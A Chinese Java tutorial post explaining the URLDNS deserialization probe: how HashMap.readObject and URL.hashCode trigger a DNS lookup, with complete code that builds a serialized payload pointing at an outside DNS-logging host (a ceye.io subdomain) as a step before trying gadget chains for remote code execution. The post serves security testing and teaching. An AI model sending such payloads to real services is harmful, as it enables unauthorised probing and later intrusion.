网站首页 > java教程 正文
我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
我们可以继续跟进
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
主要就是这句代码了
InetAddress addr = getHostAddress(u);
简单,就是这里最后触发了DNS查询。
也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。
if (hashCode != -1) return hashCode;
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u,-1);
最后生成的代码为
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); String url="http://1us794.ceye.io"; HashMap hashMap = new HashMap(); // HashMap that will contain the URL URL u = new URL(url); // URL to use as the Key hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u,-1); oos.writeObject(hashMap); oos.flush(); oos.close();
测试代码
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj")); ois.readObject();
调用栈
可以看到触发成功
end:如果你觉得本文对你有帮助的话,记得关注点赞转发,你的支持就是我更新动力。
如果您有不同的看法,欢迎在评论区留言与我们一起讨论
猜你喜欢
- 2024-11-04 快速处理Kafka反序列化错误(kafka自定义反序列化)
- 2024-11-04 又一个反序列化漏洞,我服了...(反序列化漏洞修复方案)
- 2024-11-04 Java代码示例:如何使用 serialVersionUID处理序列化
- 2024-11-04 Java 序列化机制(java序列化过程)
- 2024-11-04 SpringBoot整合Grpc实现跨语言RPC通讯
- 2024-11-04 php和java及python3.10的序列化和反序列化
- 2024-11-04 Java修炼终极指南:133 避免在反序列化时发生DoS攻击
- 2024-11-04 聊聊fastjson反序列化的那些坑(fastjson反序列化原理)
- 2024-11-04 Java序列化 3 连问,这太难了吧(在线序列化工具)
- 2024-11-04 避免使用Java序列化(serializable 防止序列化)
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- java反编译工具 (77)
- java反射 (57)
- java接口 (61)
- java随机数 (63)
- java7下载 (59)
- java数据结构 (61)
- java 三目运算符 (65)
- java对象转map (63)
- Java继承 (69)
- java字符串替换 (60)
- 快速排序java (59)
- java并发编程 (58)
- java api文档 (60)
- centos安装java (57)
- java调用webservice接口 (61)
- java深拷贝 (61)
- 工厂模式java (59)
- java代理模式 (59)
- java.lang (57)
- java连接mysql数据库 (67)
- java重载 (68)
- java 循环语句 (66)
- java反序列化 (58)
- java时间函数 (60)
- java是值传递还是引用传递 (62)
本文暂时没有评论,来添加一个吧(●'◡'●)